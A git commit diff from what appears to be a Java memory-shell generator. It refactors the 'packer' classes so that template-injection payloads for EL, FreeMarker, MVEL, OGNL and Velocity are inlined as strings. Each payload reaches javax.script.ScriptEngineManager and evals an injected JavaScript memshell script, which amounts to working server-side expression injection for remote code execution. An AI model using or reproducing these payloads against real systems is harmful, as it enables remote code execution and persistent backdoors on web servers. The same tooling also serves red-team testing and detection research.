refactor: simplify expression packer

Author: ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java

@@ -2,6 +2,7 @@
 
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
 import org.apache.commons.io.IOUtils;
 
@@ -14,20 +15,11 @@
  * @since 2024/12/13
  */
 public class ELPacker implements Packer {
-    ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
-    String template = "";
-
-    public ELPacker() {
-        try {
-            template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ELScriptEngine.txt")), Charset.defaultCharset());
-        } catch (IOException ignored) {
-
-        }
-    }
+    String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')";
 
     @Override
     public String pack(GenerateResult generateResult) {
-        String script = scriptEnginePacker.pack(generateResult);
+        String script = Packers.ScriptEngine.getInstance().pack(generateResult);
         return template.replace("{{script}}", script);
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java

@@ -2,6 +2,7 @@
 
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
 import org.apache.commons.io.IOUtils;
 
@@ -14,20 +15,11 @@
  * @since 2024/12/13
  */
 public class FreemarkerPacker implements Packer {
-    ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
-    String template = "";
-
-    public FreemarkerPacker() {
-        try {
-            template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/FreemarkerScriptEngine.txt")), Charset.defaultCharset());
-        } catch (IOException ignored) {
-
-        }
-    }
+    String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
 
     @Override
     public String pack(GenerateResult generateResult) {
-        String script = scriptEnginePacker.pack(generateResult);
+        String script = Packers.ScriptEngine.getInstance().pack(generateResult);
         return template.replace("{{script}}", script);
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java

@@ -15,15 +15,7 @@
  * @since 2025/1/29
  */
 public class MVELPacker implements Packer {
-    String template = "";
-
-    public MVELPacker() {
-        try {
-            template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/MVELScriptEngine.txt")), Charset.defaultCharset());
-        } catch (IOException ignored) {
-
-        }
-    }
+    String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
 
     @Override
     public String pack(GenerateResult generateResult) {

generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java

@@ -14,15 +14,7 @@
  * @since 2024/12/14
  */
 public class OGNLPacker implements Packer {
-    String template = "";
-
-    public OGNLPacker() {
-        try {
-            template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OGNLScriptEngine.txt")), Charset.defaultCharset());
-        } catch (IOException ignored) {
-
-        }
-    }
+    String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
 
     @Override
     public String pack(GenerateResult generateResult) {

generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java

@@ -2,6 +2,7 @@
 
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
 import org.apache.commons.io.IOUtils;
 
@@ -14,20 +15,11 @@
  * @since 2024/12/13
  */
 public class VelocityPacker implements Packer {
-    ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
-    String template = "";
-
-    public VelocityPacker() {
-        try {
-            template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/VelocityScriptEngine.txt")), Charset.defaultCharset());
-        } catch (IOException ignored) {
-
-        }
-    }
+    String template = "#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}')";
 
     @Override
     public String pack(GenerateResult generateResult) {
-        String script = scriptEnginePacker.pack(generateResult);
+        String script = Packers.ScriptEngine.getInstance().pack(generateResult);
         return template.replace("{{script}}", script);
     }
 }